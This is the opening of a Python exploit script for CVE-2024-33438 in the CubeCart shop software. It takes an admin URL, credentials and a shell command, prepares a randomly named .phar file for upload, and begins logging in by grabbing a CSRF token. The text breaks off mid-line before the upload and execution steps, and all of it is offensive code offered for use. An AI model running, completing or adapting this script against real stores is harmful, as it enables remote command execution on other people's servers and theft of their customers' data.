#!/usr/bin/python3 import requests import random import re import sys banner = """\n [] ,----.___ __||_/___ '. / O|| /| / "" / / /________/ / launching exploit |________|/ please wait... """ print(banner) # General help if len(sys.argv) == 1: print("No arguments. Try '-h' or '--help' to understand how this exploit works.") sys.exit() if len(sys.argv) > 5: print("Too many arguments. Try '-h' or '--help' to understand how this exploit works.") sys.exit() if len(sys.argv) < 5: print("Not enough arguments. Try '-h' or '--help' to understand how this exploit works.") sys.exit() if sys.argv[1].lower() == "-h" or sys.argv[1].lower() == "--help": print("Usage: python3 CubeCart-CVE-2024-33438.py \nExample: python3 CubeCart-CVE-2024-33438.py http://127.0.0.1/admin_0Kqnr9.php admin admin whoami\n") sys.exit() # Variables URL, username, password, cmd = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] filename = str(random.getrandbits(32)) + ".phar" files = {'file': (filename, '')} # First request, grabbing the CSRF token print("[+] Trying to log into the application...") req1 = requests.get(URL) token_match = re.search(r'